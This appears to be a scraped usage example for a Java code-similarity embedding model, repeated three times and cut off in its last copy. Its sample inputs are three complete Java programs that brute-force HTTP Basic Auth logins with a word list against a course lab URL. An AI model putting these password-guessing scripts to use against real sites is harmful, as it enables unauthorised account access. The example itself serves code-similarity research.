from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
